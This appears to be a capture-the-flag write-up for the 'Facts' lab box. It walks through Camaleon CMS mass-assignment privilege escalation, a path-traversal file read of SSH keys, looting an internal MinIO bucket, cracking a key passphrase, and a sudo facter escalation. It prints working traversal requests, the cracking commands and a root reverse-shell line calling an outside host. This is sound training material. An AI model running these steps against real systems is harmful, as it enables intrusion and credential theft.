Facts
Overview
Facts is an easy Linux box running a Ruby on Rails application backed by
Camaleon CMS 2.9.0. The attack chain starts with user registration on the app,
followed by a mass-assignment vulnerability in the account-update AJAX endpoint
that lets any user inject the admin role into themselves. As admin, an LFI in
the media download endpoint is used to reach an internal MinIO S3 bucket where a
password-protected SSH private key is stored. John the Ripper cracks the
passphrase, granting SSH access as trivia. Finally, sudo /usr/bin/facter is
abused with a custom Ruby fact to execute a reverse shell as root.
Path: register → mass-assignment → admin → LFI → internal S3 SSH key →
crack passphrase → SSH as trivia → sudo facter → root.
Enumeration
An initial Nmap scan reveals SSH and an nginx web server:
$ nmap 10.129.1.16 -A
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/

Adding facts.htb to /etc/hosts and browsing to port 80 reveals the web
application — a trivia/random-facts site.



The application stack is identifiable from response headers and error pages as Ruby on Rails.

Foothold — Camaleon CMS Mass Assignment
Inspecting the session cookie shows a Rails-style encrypted cookie — a base64-encoded, URL-encoded blob with three components (similar to a JWT but using Rails’ MessageEncryptor).



Browsing the application further surfaces a search feature whose results are reflected on the page and a note about rate limiting tied to the session cookie.



Navigating to the admin panel after registering a standard user account reveals the CMS version:




Camaleon CMS 2.9.0 is vulnerable to a mass-assignment privilege escalation:
the AJAX password-update endpoint (update_ajax) does not whitelist the
parameters it accepts, so an attacker can inject the role parameter into a
password-change request and promote themselves to admin. This is documented at
Mass Assignment Vulnerability in Camaleon CMS 2.9.0.
The first attempt targets the wrong endpoint:

The correct request adds role=admin to the update_ajax password-change
call:



Lateral Movement — LFI to Internal S3 SSH Key
With admin access, the CMS exposes a media file-download endpoint that is vulnerable to path traversal (CVE-2024-46986):
GET /admin/media/download_private_file?file=../../../../../../home/william/.ssh/id_rsa
GET /admin/media/download_private_file?file=../../../../../../home/william/user.txt
Direct SSH key retrieval for william does not succeed, but the admin panel
also leaks AWS/MinIO credentials:

Configuring the AWS CLI with those credentials and listing S3 buckets at the
MinIO endpoint (port 54321) shows two buckets — randomfacts (public) and
internal:
$ aws configure --profile randomfacts
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 ls

$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 ls s3://randomfacts --no-verify-ssl


Downloading the full contents of randomfacts shows image assets and thumbnail
URLs that appear to be processed server-side:
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 cp s3://randomfacts . --recursive --no-verify-ssl

Uploading a non-image file to test processing behavior:
$ echo "not an image" > test.png
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 --region us-east-1 s3 cp test.png s3://randomfacts --no-verify-ssl


The LFI endpoint (/admin/media/download_private_file) can traverse into the
MinIO data directory:

The internal bucket, which wasn’t visible in the initial enumeration, contains
an .ssh directory:
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts
$ aws --profile randomfacts --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh . --recursive
download: s3://internal/.ssh/authorized_keys to ./authorized_keys
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519
The private key is password-protected:

User — Cracking the SSH Key Passphrase
Convert the key to a hashcat/John-compatible format and crack it:
$ python3 /tools/john/run/ssh2john.py id_ed25519 > sshkey.hash
$ /tools/john/run/john --wordlist=/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt sshkey.hash
John cracks the passphrase after roughly ten minutes: dragonballz.
SSH in as the user associated with the authorized_keys from the internal
bucket — trivia:
$ ssh -i id_ed25519 trivia@10.129.1.16


The user flag is in trivia’s home directory.
Privilege Escalation — sudo facter
Checking sudo permissions:
trivia@facts:~$ sudo -l


/usr/bin/facter is available without a password. Facter loads custom facts
from a directory specified with --custom-dir; any .rb file in that directory
is executed as Ruby. Writing a reverse-shell fact and running facter as root
triggers it:
trivia@facts:~$ cat shell.rb
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.18/8081 0>&1'")
trivia@facts:~$ sudo /usr/bin/facter --custom-dir=/home/trivia/ x
Root
The reverse shell lands as root. The flag is at /root/root.txt.
Takeaways
- Mass-assignment in Camaleon CMS 2.9.0 allows any registered user to inject
arbitrary model attributes — including
role— through the unwhitelistedupdate_ajaxendpoint, granting instant admin access. sudo facter --custom-diris a full root code-execution primitive: any.rbfile in the supplied directory runs as the invoking user (root here), making it a straightforward privilege escalation wherever it appears insudo -l.